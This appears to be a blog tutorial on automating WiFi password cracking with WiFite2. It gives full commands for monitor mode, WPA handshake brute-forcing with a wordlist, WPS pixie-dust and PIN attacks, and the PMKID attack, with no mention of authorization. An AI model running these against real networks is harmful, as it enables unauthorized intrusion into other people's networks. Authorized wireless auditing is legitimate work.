by hash3liZer . 18 November 2018
In this tutorial, we will automate the wireless cracking process using WiFite. Cracking wireless can exceptionally be tricky when it comes to automation for multiple Access Points. A device like Raspberry Pi could be more compact and helpful in any such cases. Consider a device which can be taken anywhere freely with a binded script in it to check for default/weak wireless passphrases.
WiFite is an automated WiFi Cracking tool written in Python. It is basically a combination of various famous pentest tools like airmon, aircrack and reaver etc. It is widely used for cracking WEP and WPA (WPS) wireless networks. WiFite version 2 has been released and is likely to be already installed if you are running Kali or Parrot linux distros.
However, since i want this tutorial to be followed by the users of Raspberry Pi and Ubuntu as well, we will make a head-start installing installing WiFite.
The project is available on github: https://github.com/derv82/wifite2
Clone the repository using git:
$ git clone https://github.com/derv82/wifite2.git
Now, install some pre-requisities required for PMKID attack:
$ apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
There are some of the required tools for WiFite to properly run and some others are optional. You can find this list on the link given above. The utilities iwconfig and ifconfig would already be installed. However, if you are running short of aircrack suite, that can be installed easily using apt package manager:
$ sudo apt update $ sudo apt install aircrack-ng
Now, to install WiFite:
$ cd wifite2/ $ python setup.py install
This will install WiFite as a normal Linux command by creating a symlink to /usr/bin/ directory. You can verify it by printing the manual:
$ wifite --help
You would need you wireless card to be operating in monitor mode which can be done with airmon-ng:
$ airmon-ng start wlan1
The standard way being used by most of the scripts is to capture a handshake and compute the encoded keys to brute force the actual key. However, lately a new method was discovered which uses PMKID to accomplish the task. To Brute force WPA/WPA2 networks using handshake, run the below command:
$ wifite -i wlan1mon --verbose --random-mac --clients-only \ --wpa --dict /path/to/wordlist
WPS protocol was developed to provide user with the ease of connecting to Access Points. Hownever, the protocol is itself vulnerable on a variety of misconfigured routers. WiFite uses pixie dust and WPS Pin attack against WPS networks. To only target wps networks:
$ wifite -i wlan1mon --verbose --random-mac --nodeauths\ --wps --wps-only
Lately, a new method was discovered by Jen Steube for cracking WPA/WPA2. The difference in between handshake and PMKID is that handshake requires the whole 4-way handshake to compute the key to be bruteforced. However, with this new trick an attacker make the Access Point transfer the first EAPOL message which contains the key to be bruteforced. PMKID attack requires two more tools. Install hcxtools:
$ git clone https://github.com/ZerBea/hcxtools.git $ cd hcxtools $ sudo make && sudo make install
Then install hcxdumptool:
$ git clone https://github.com/ZerBea/hcxdumptool.git $ cd hcxdumptool/ $ sudo make && sudo make install
To crack WiFi Networks using pmkid attack:
$ wifite -i wlan1mon --verbose --nodeauths \ --pmkid --pmkid-timeout 40 --dict /path/to/wordlist
To see which networks are cracked, just execute this command:
$ wifite --cracked
WiFite is an awesome wireless cracking tool which automates the cracking stuff using other pentest utilities. It can easily be integrated with a compact device like Raspberry pi and could be very useful tool for a number of reasons.